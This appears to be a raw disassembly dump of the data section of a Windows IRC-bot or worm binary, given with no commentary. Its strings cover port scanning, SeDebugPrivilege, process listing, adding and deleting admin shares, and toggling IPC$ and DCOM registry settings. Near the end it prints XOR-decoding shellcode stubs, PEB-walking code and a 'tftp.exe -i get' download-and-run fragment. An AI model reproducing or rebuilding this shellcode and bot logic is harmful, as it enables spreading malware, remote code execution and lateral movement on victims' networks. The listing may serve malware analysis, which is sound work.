dword_4373DC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413CA9+ABo
		dd 2029206Ch, 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_437418	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413CA9+81o
		dd 2029206Ch, 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_413DD2+120o
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_413DD2+5Ao
					; sub_413DD2+19Eo
		align 4
dword_437474	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F83:loc_41400Ao
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai	db '  Process list failed.',0
		align 4
dword_4374AC	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F83+80o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom	db '  Process list completed.',0
		align 4
dword_4374E8	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F83+19o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
		dd 72702067h, 7365636Fh, 3A736573h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_43752C	dd 1		off_437530	dd offset sub_4140C8	; DATA XREF: sub_414433+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 414126h, 706D6F63h, 2 dup(0)
		dd 3, 414173h, 6E756F63h, 797274h, 0
		dd 4, 414211h, 736Fh, 2	dup(0)
		dd 5, 414286h
dword_437584	dd 69257325h, 0						; .nsp0:004141F2o ...
byte_43758C	db 50h			; DATA XREF: .nsp0:00414195o
					; .nsp0:004141A2r
		db 43h,	2 dup(0)
dword_437590	dd 7C7325h						; sub_414433+39o
dword_437594	dd 5D73255Bh, 7Chdword_43759C	dd 334B32h	dword_4375A0	dd 5D64255Bh, 7325hdword_4375A8	dd 5D4D5Bh						; sub_414390+57o
unk_4375AC	db    2			; DATA XREF: sub_41449C+92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
unk_4375E8	db    2			; DATA XREF: sub_414569+41o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 4
off_437628	dd offset dword_437660	; DATA XREF: sub_4146BA+1B3o
					; sub_4149DE+17Ao
		align 10h
		dd offset dword_437658
		align 8
off_437638	dd offset dword_437654	; DATA XREF: sub_4149DE+1E3o
		dd offset dword_437650
		dd offset dword_43764C
		dd offset dword_437648
dword_437648	dd 5C3A44h						; .nsp0:00437644o
dword_43764C	dd 2444h	dword_437650	dd 5C3A43h	dword_437654	dd 2443h	dword_437658	dd 494D4441h, 244Ehdword_437660	dd 24435049h, 0	unk_437668	db    2			; DATA XREF: sub_4146BA+2E5o
					; sub_4149DE+2D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_4376AC	db    2			; DATA XREF: sub_4146BA+2CFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_4376E8	db    2			; DATA XREF: sub_4146BA:loc_41491Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_437728	db    2			; DATA XREF: sub_4146BA+25Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 10h
unk_437760	db    2			; DATA XREF: sub_4146BA:loc_414889o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 10h
unk_4377A0	db    2			; DATA XREF: sub_4146BA+1C8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_4377D8	db    2			; DATA XREF: sub_4146BA:loc_4147ECo
					; sub_4149DE:loc_414B0Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_43781C	db    2			; DATA XREF: sub_4146BA:loc_4147E5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_43786C	db    2			; DATA XREF: sub_4146BA:loc_4147C7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_4378B4	db    2			; DATA XREF: sub_4146BA+106o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_4146BA+EDo
					; sub_4149DE+EDo
		align 4
unk_437918	db    2			; DATA XREF: sub_4146BA+91o
					; sub_4149DE+91o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_43795C	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_4146BA:loc_414727o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6964204Dh
		dd 6C626173h, 2E6465h
unk_43798C	db    2			; DATA XREF: sub_4146BA+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_4146BA+54o
					; sub_4149DE+54o
		align 10h
word_4379D0	dw 4Eh			; DATA XREF: sub_4146BA+38r
		align 4
unk_4379D4	db    2			; DATA XREF: sub_4149DE+2C0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_2		db '%c:\',0             ; DATA XREF: sub_4149DE+22Ao
		align 4
aC_3		db '%c$',0              ; DATA XREF: sub_4149DE+219o
unk_437A18	db    2			; DATA XREF: sub_4149DE:loc_414B7Do
					; sub_4149DE:loc_414C4Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_437A54	db    2			; DATA XREF: sub_4149DE+198o
					; sub_4149DE+266o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 4
unk_437A88	db    2			; DATA XREF: sub_4149DE:loc_414B05o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_437AD8	db    2			; DATA XREF: sub_4149DE:loc_414AE7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_437B20	db    2			; DATA XREF: sub_4149DE+102o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_437B70	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_4149DE:loc_414A4Bo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6E65204Dh
		dd 656C6261h, 2E64h
unk_437BA0	db    2			; DATA XREF: sub_4149DE+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_437BD8	dw 59h			; DATA XREF: sub_4149DE+38r
		align 4


loc_437BDC:				; DATA XREF: sub_414E8C+C4o
		jmp	short loc_437BE0
; ---------------------------------------------------------------------------


loc_437BDE:				; CODE XREF: .nsp0:loc_437BE0p
		jmp	short loc_437BE5
; ---------------------------------------------------------------------------


loc_437BE0:				; CODE XREF: .nsp0:loc_437BDCj
		call	loc_437BDE


loc_437BE5:				; CODE XREF: .nsp0:loc_437BDEj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_437BEA	dw 0FFFFh		; DATA XREF: sub_414E8C+CCw
		db 80h,	73h, 0Eh
byte_437BEF	db 0FFh			; DATA XREF: sub_414E8C+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_437BF4:				; DATA XREF: sub_414E8C+A2o
		jmp	short loc_437BF8
; ---------------------------------------------------------------------------


loc_437BF6:				; CODE XREF: .nsp0:loc_437BF8p
		jmp	short loc_437BFD
; ---------------------------------------------------------------------------


loc_437BF8:				; CODE XREF: .nsp0:loc_437BF4j
		call	loc_437BF6


loc_437BFD:				; CODE XREF: .nsp0:loc_437BF6j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_437C01	db 0FFh			; DATA XREF: sub_414E8C+AAw
		dw 7380h
		db 0Ch
byte_437C05	db 0FFh			; DATA XREF: sub_414E8C+B0w
		dw 0E243h
		dd 0F9h
dword_437C0C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_414D15+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_437C70	dd 12h		aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_414D15+79o
aJ_0		db 'j',0
		db 0E8h
dword_437C89	dd 17h		; ---------------------------------------------------------------------------
		jnz	short near ptr byte_437C90
		retn
; ---------------------------------------------------------------------------
byte_437C90	db 0E8h			; CODE XREF: .nsp0:00437C8Dj
dword_437C91	dd 1		byte_437C95	db 0, 6Ah, 0		; DATA XREF: sub_414D15+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_437C9F	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_415050+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_415221+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415221+35o
dword_437D20	dd 0BB07F1h			align 10h
dword_437D30	dd 173Fh			dd 9875h, 9873h
off_437D3C	dd offset sub_415F3B	; DATA XREF: sub_4177FAr
		dd offset nullsub_2
		dd offset nullsub_2
dword_437D48	dd 1B3Fh	dword_437D4C	dd 19930520h, 4	dup(0)					; sub_41643E+2o
off_437D60	dd offset sub_417838	; DATA XREF: sub_417BEE+1Cr
dword_437D64	dd 2							; sub_41CF19+46r ...
off_437D68	dd offset aNull_0	; DATA XREF: sub_417D4C:loc_4180B0r
					; sub_417D4C+457r
					; "(null)"
off_437D6C	dd offset aNull		; DATA XREF: sub_417D4C+259r
					; "(null)"
off_437D70	dd offset word_437D7A	; DATA XREF: sub_4159D4+23r
					; sub_4159D4:loc_415A35r ...
		dd offset word_437D7A
		db 2 dup(0)
word_437D7A	dw 20h			; DATA XREF: sub_41E6BD+18r
					; .nsp0:off_437D70o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_437F7C	dd 1							; sub_4159D4:loc_415A20r ...
byte_437F80	db 2Eh			; DATA XREF: sub_419F18:loc_419F58r
					; sub_419F72+4r ...
		align 4
		dd 1, 10h
dword_437F8C	dd 3F8h							; sub_4174DF+4Dr ...
dword_437F90	dd 14h		off_437F94	dd offset aExp		; DATA XREF: sub_419C61:loc_419C7Er
					; "exp"
		dd 1Dh,	4217A4h, 1Ah, 4217A0h, 1Bh, 421798h, 1Fh, 421790h
		dd 13h,	421788h, 21h, 421780h, 0Eh, 421778h, 0Dh, 421770h
		dd 0Fh,	421768h, 10h, 421760h, 5, 421758h, 1Eh,	421754h
		dd 12h,	421750h, 20h, 42174Ch, 0Ch, 421744h, 0Bh, 42173Ch
		dd 15h,	421734h, 1Ch, 42172Ch, 19h, 421724h, 11h, 42171Ch
		dd 18h,	421714h, 16h, 42170Ch, 17h, 421704h, 22h, 421700h
		dd 23h,	4216FCh, 24h, 4216F8h
dbl_438068	dq 1.797693134862316e308 ; DATA	XREF: sub_41999C+B7r
					; sub_41999C:loc_419A83r ...
		dd 0
		dd 0FFF80000h
dbl_438078	dq 1.797693134862316e308 ; DATA	XREF: sub_41999C+92r
					; sub_41999C:loc_419A5Br ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_438090	dt 2.3562723457267347066e313 ; DATA XREF: sub_419E49+Dr
					; sub_419E49+1Fr
		align 4
tbyte_43809C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419E49+31r
		align 4
off_4380A8	dd offset sub_41A2DD	; DATA XREF: sub_415F53+Fw
					; sub_417D4C+3AAr
off_4380AC	dd offset sub_419F72	; DATA XREF: sub_415F53+5w
					; sub_417D4C+3E2r
off_4380B0	dd offset sub_419FD8	; DATA XREF: sub_415F53+14w
					; sub_41AD3D+430r
off_4380B4	dd offset sub_419F18	; DATA XREF: sub_415F53+1Ew
					; sub_417D4C+3CBr
off_4380B8	dd offset sub_419FC0	; DATA XREF: sub_415F53+28w
off_4380BC	dd offset sub_41A2DD	; DATA XREF: sub_415F53+32w
		dd offset sub_41DF02
		align 10h
		dd offset sub_41AB9C
off_4380D4	dd offset sub_41AB9C	; DATA XREF: sub_41ABF2+29r
dword_4380D8	dd 0D2D0920h, 5Dhdword_4380E0	dd 5Dh,	0	byte_4380E8	db 1			; DATA XREF: sub_41BFC0+E1r
		db 2, 4, 8
		align 10h
dword_4380F0	dd 3A4h		dword_4380F4	dd 82798260h, 21h, 0dword_438100	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4381E0	dd 1							; sub_41C5D7+Co
dword_4381E4	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_438348	dd 0C0000005h						; sub_41C77F+Ar ...
dword_43834C	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4383C0	dd 3							; sub_41F297+C8r
dword_4383C4	dd 7							; sub_41F297+CDr
dword_4383C8	dd 0Ah							; sub_41F3C4+4r
dword_4383CC	dd 8Ch							; sub_41C63E+8Fw ...
dword_4383D0	dd 0FFFFFFFFh, 0A00h					; sub_41B8B0:loc_41B931o
dword_4383D8	dd 2							; sub_41CF19+28r
off_4383DC	dd offset aR6002FloatingP ; DATA XREF: sub_41CF19+FCr
					; sub_41CF19+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 421AC4h, 9, 421A98h, 0Ah,	421A74h, 10h, 421A48h
		dd 11h,	421A18h, 12h, 4219F4h, 13h, 4219C8h, 18h, 421990h
		dd 19h,	421968h, 1Ah, 421930h, 1Bh, 4218F8h, 1Ch, 4218D0h
		dd 78h,	4218C0h, 79h, 4218B0h, 7Ah, 4218A0h, 0FCh, 4269FCh
		dd 0FFh, 421890h
off_438468	dd offset dword_4697A0	; DATA XREF: sub_41CF19+1Bo
					; sub_41D0D6+55o
		align 10h
		dd offset dword_4697A0
		dd 101h
dword_438478	dd 0FFFFFFFFh, 0		dd 1000h, 0
dword_438488	dd 3 dup(0)						; sub_4187B6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4384A8	dd 3 dup(0)						; sub_4187B6:loc_4187D4o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4384D8	dd 84h dup(0)	dword_4386E8	dd 2694h						; sub_419651+46r ...
		align 10h
dword_4386F0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_438708	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_438720	dd 7080h						; sub_41E162+5Ew ...
dword_438724	dd 1							; sub_41E162+8Bw ...
dword_438728	dd 0FFFFF1F0h						; sub_41E162+94w ...
dword_43872C	dd 545350h, 0Fh	dup(0)dword_43876C	dd 544450h, 0Fh	dup(0)off_4387AC	dd offset dword_43872C	; DATA XREF: sub_41E162+BAr
					; sub_41E162+D9r ...
off_4387B0	dd offset dword_43876C	; DATA XREF: sub_41E162+F4r
					; sub_41E162+11Br ...
		align 8
dword_4387B8	dd 0FFFFFFFFh						; sub_41E3C0+1Er ...
dword_4387BC	dd 0							; sub_41E56C+BFw
dword_4387C0	dd 0							; sub_41E56C+E0w
		align 8
dword_4387C8	dd 0FFFFFFFFh						; sub_41E3C0+26r ...
dword_4387CC	dd 0							; sub_41E56C+EAw ...
dword_4387D0	dd 0							; sub_41E56C+23r ...
dword_4387D4	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_438804	dd 16Dh							; sub_41E56C+2Er ...
dword_438808	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_438840	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4389A0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41F71C+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
